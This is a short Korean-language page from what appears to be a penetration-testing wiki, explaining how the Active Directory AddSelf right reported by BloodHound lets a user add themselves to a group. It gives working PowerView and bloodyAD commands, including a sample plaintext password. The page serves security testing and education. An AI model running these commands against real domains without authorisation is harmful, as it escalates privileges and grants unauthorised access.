> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/active-directory/dacl/addself.md).

# AddSelf

객체에 대해 Add/remove self as member 권한이 있다면 블러드하운드에서 AddSelf로 표시되며 스스로를 도메인 멤버에서 추가/제거 할 수 있습니다.

<figure><img src="/files/IB7TlJmlBC9IvSEsvTNA" alt=""><figcaption></figcaption></figure>

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># AddSelf 권한이 있는 사용자 자격증명을 객체로 저장
</strong>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)

<strong># 저장한 객체정보를 권한이 있는 그룹에 위임
</strong>Add-DomainGroupMember -Identity 'local_member' -Members 'user-A' -Credential $Cred

<strong># 그룹의 멤버를 확인하여 정상적으로 위임이 되었는지 확인
</strong>Get-DomainGroupMember -Identity 'local_member'
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 권한이 있는 계정의 TGT를 환경변수에 저장 후 사용
</strong>bloodyAD -d 'contoso.com' -k --host 'dc01.contoso.com' add groupMember 'LOCAL_MEMBER' 'user-A'
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://support.bloodhoundenterprise.io/hc/en-us/articles/17358095502363-AddSelf>" %}
